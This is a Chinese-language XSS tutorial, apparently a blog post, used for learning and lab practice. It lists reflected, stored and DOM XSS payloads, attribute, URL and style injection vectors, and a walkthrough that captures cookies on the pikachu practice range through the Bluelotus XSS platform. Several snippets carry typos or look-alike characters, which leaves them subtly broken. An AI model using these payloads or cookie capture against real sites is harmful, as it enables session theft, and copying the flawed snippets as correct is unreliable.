一、javascript代码的简单了解
如果想细学js可以在w3school 在线教程中学习
1、<script>标签
在 HTML 中,JavaScript 代码必须位于<script>与</script>标签之间
<!DOCTYPE html>
<html>
<body>
<p id="demo"></p>
#定义一个id为demo的元素
<script>
document.getElementById("demo").innerHTML = "123456";
</script>
</body>
</html>
-------------------------------------------------------
123456
2、document
document是一个全局对象,它代表了当前的网页,也就是DOM(文档对象模型)树。通过document可以访问和操作网页上的HTML元素和内容,以及与这些元素相关的事件。通过使用document的属性和方法可以实现对网页内容的全面控制。
常用的属性和方法:
document.getElementById(id)
: 获取具有指定ID的元素。document.querySelector(selectors)
: 获取第一个匹配指定CSS选择器的元素。document.querySelectorAll(selectors)
: 获取所有匹配指定CSS选择器的元素集合。document.createElement(tagName)
: 创建一个新的HTML元素。document.write(text)
: 向文档写入文本或HTML。document.getElementById('elementId').innerHTML
: 获取或设置元素的HTML内容。
3、js的简单使用
- 在<head>中
点击按钮后
- 在<body>中
点击后
- 在外部脚本中
外部文件lin.js
function myFunction() { document.getElementById("demo").innerHTML = "hahaha"; }
使用外部脚本
<script src="lin.js"></script>
- 在外部引用中
用url链接
<script src="https://www.w3school.com.cn/js/lin.js"></script>
用位于当前网站上指定文件夹
<script src="/js/lin.js"></script>
用与当前页面相同文件夹
<script src="lin.js"></script>
4、js的输出
- 使用
window.alert()
写入警告框 - 使用
document.write()
写入 HTML 输出 - 使用
innerHTML
写入 HTML 元素 - 使用
console.log()
写入浏览器控制台
二、XSS
1、定义
xss:跨站脚本攻击(Crosss Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将其缩写改为XSS。恶意攻击者往web页面里插入恶意Script代码,当用户浏览该页时,嵌入其中的web的Script代码会被执行,从而达到恶意攻击用户的目的。
2、分类
反射型XSS(Reflected XSS)(中低危)
- 反射型XSS(Reflected XSS):非持久性XSS,这种攻击具有一次性
攻击方式:攻击者通过邮件等形式将包含XSS代码的链接发给用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发给用户。用户浏览器解析执行代码,触发XSS漏洞。
原理:服务器能否识别到标签属性
用弹框测试
<script>alert(123);</script>
发现页面出现弹窗但刷新后不再显示,说明是一次性的反射型XSS
用属性标签测试
<a herf="">xxx</a>
发现成功识别到标签说明存在XSS
用图片执行弹窗
<img src="#" οnmοuseοver="alter('xss')">
当鼠标移动到图片时会进行弹窗
存储型XSS(Stored XSS)(高危)
- 存储型XSS(Stored XSS):持久型XSS,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性
攻击方式:攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。用户进行正常访问时,触发XSS代码。
输入发现内容会被保存在数据库
判断是否存在XSS漏洞
<script>alert(123)</script>
输入后出现弹窗且刷新后仍旧存在,说明存在存储型XSS
并且当别的用户访问该页面时同样也会显示弹窗
DOM型XSS(DOM-based XSS)
- DOM型XSS(DOM-based XSS):使用DOM动态访问更新文档的内容、结构及样式
DOM结构图:
HTML标签都是节点,节点组成了节点树。通过HTML DOM可以对树上的所有结点进行修改。
攻击方式:服务器响应不会处理攻击者的脚本,而是用户浏览器处理这个响应时,DOM对象就会处理XSS代码,触发XSS漏洞。
可能触发DOM型的XSS的JS操作:
document.referer
window.name
location
innerHTML
document.write
1、判断是否存在XSS漏洞
- 危害较小的dom
不管输入什么字符进去,发现显示的都是what do you see?,查看发现提交的字符是a标签的href属性里的值,所以这时候如果输入<script>标签并不会被识别。
查看源代码
<script>
function domxss(){
var str = document.getElementById("text").value;
//找到id属性值为text的标签并取出它的值
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
//找到id属性为dom的标签并给这个标签内部插入内容
//+字符串拼接
}
</script>
思路一:尝试闭合<a>标签
构造Payload:
'</a><script>alert(123);</script><a>
#如果用"会与后面的"结合导致闭合失败,用'浏览器会将其自动识别为"并与前面的"闭合
但是发现并没有效果,因为<script>标签放在<a>标签内不会生效
思路二:利用onclick事件
构造Payload:
'οnclick="alert(123)">
onclick变成正常的属性,点击成功跳出弹窗
- 危害较大的dom
输入一串字符,查看源码发现有一个onclick点击事件且有一个domxss()函数
查看源代码,搜索domxss()
<script>
function domxss(){
var str = window.location.search;
//获取当前网址的查询数据
var txss = decodeURIComponent(str.split("text=")[1]);
//定义一个texx值为我们输入的数据
var xss = txss.replace(/\+/g,' ');
//将输入数据拼接到下方的href中
// alert(xss);
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
点击后查看发现我们的字符确实被拼接
构造payload:
'οnclick="alert(123)">
三、XSS可能存在的地方
有用户输入输出和交互的地方都有可能有XSS
1、HTML context
<p>
Hello <script>alert('xss')</script>
</p>
2、Attribute(属性) Context
<img src="image.png" alt="onload=alert('xss') x=" ">
//alt属性被用于存储一个错误的信息。
<input type="text" balue=" " onfocus=alert('xss') autofocus x=" ">
//<input>标签创建交互式表单元素的一种方式
//onfocus=alert('xss')当输入框获得焦点时触发弹窗
//autofocus属性会使页面加载时自动将焦点设置到这个输入框上,从而立即触发onfocus事件。
<body onload="javascript:alert(123)">
//onload属性在页面加载完成后立即触发,执行其中的JavaScript代码。
3、URL Context
<a href="data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">Linl</a>
<META http-equiv="refresh" content="S;URL=data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
//<meta>标签用于在指定的秒数后自动刷新页面,并将浏览器重定向到一个新的URL。
//S:这是一个变量,应该是刷新页面前的延迟时间,以秒为单位。在实际的代码中,您需要替换S为一个具体的数字
<iframe src="javascript:alert(123)">
//<iframe> 标签用于创建一个内联框架,可以在当前页面中嵌入另一个HTML页面。
4、Style Context
<img style="xss:expression(alert('xss'))" src="image.png">
//style属性用于定义元素的样式信息
<style>
body{width:expression(alert(123))}
</style>
四、XSS平台的使用
推荐:Bluelotus、xssplatform
Bluelotus搭建及使用:http://t.csdnimg.cn/vRvy4
xssplatform建及使用:http://t.csdnimg.cn/cy1c2
这里示范用的是Bluelotus,靶场为pikachu的反射性xss(get)
先创建一个项目,选择插入default模板(根据需要改变)
生成payload(根据环境的禁用可以自己适当变动以绕过)
将payload粘贴到注入处,发现不完整查看源代码有字数限制
将字数限制删除,点击submit。然后返回网站查看有一条通知,点击查看接收面板展开得到想要的数据
在pikachu里查看一下cookie验证是否正确
<script>alert(document.cookie)</script>
cookie一样
扩展:
Cookie是什么?
Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。它是一个小型的文本文件,由网页服务器发送到用户的浏览器,并且存储在用户的电脑上。当用户再次访问这个网页时,浏览器会将这个Cookie文件发送回服务器,以此来识别用户和用户的浏览历史。
服务器可以利用Cookie包含的信息的任意性来筛选并经常性的维护这些信息,以判断在HTTP传输中的状态。
Cookies的主要用途包括:
认证和授权:网站可以使用Cookies来识别用户,使得用户在浏览网站的不同页面时无需重复登录。
用户偏好设置:网站可以通过Cookies记住用户的偏好设置,如语言选择、字体大小等。
跟踪用户行为:网站可以使用Cookies来跟踪用户的浏览行为,分析用户如何使用网站,从而改进网站的设计和功能。
目标广告:广告商可以使用Cookies来跟踪用户的上网习惯,然后提供与用户兴趣相关的广告。